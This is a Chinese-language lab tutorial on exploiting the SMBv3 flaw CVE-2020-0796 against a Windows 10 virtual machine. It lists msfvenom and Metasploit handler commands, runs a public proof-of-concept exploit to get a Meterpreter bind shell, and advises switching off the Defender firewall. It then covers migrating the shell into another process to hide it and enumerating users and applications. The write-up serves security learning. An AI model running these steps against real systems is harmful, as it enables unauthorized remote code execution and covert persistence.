主页 > 网络知识 > 0796到Meterpreter后渗透攻击

0796到Meterpreter后渗透攻击

一、CVE-2020-0796简介 0x01 漏洞简介

CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的;在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码,该漏洞类似于永恒之蓝。

0x02 影响版本

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows Server, Version 1903 (Server Core installation)

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, Version 1909 (Server Core installation)

二、实验环境

靶机:存在漏洞的win10虚拟机环境,下载地址https://msdn.itellyou.cn/

攻击机:kali

Poc:https://github.com/chompie1337/SMBGhost_RCE_PoC

 

05.png


 

三、shell获取 0x01 使用msf生成shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt

 

01.png

将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可

 

0x02 使用kali中的msf开启目标端口连接处理器

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp

payload => windows/x64/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set rhost 192.168.232.134

rhost => 192.168.232.134

msf5 exploit(multi/handler) > set lport 3333

lport => 3333

msf5 exploit(multi/handler) > exploit

 

02.png

 

0x03 执行攻击脚本

python3 exploit.py -ip 192.168.232.134

 

03.png

成功获得shell

04.png

 

注意要关闭 Microsoft Defender 防火墙,要不不能执行成功。

四、Meterpreter后渗透攻击 0x01 进程迁移、隐藏shell

在刚获得Meterpreter shell时,该shell是极其脆肉和易被发现的,所以第一步要移动这个shelll,把它和目标机中一个稳定的进程绑定在一起。

meterpreter > getpid \获取当前Meterpreter shell进程PID

 

06.png

07.png

meterpreter > run post/windows/manage/migrate \自动寻找合适的进程,然后迁移

 

 

08.png

09.png

当然也可以使用migrate迁移到你指定的进程。

 

0x02 常见系统命令

meterpreter > sysinfo \sysinfo查看目标机的系统信息

 

10.png

meterpreter > idletime \查看机器运行时间

 

 

11.png


meterpreter > route \查看路由信息

 

 

13.png

meterpreter > getuid \查看当前渗透成功的用户名

 

 

14.png

meterpreter > run post/windows/gather/enum_logged_on_users \列举当前登录的用户

 

 

15.png

 

meterpreter > run post/windows/gather/enum_applications \列举应用程序

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!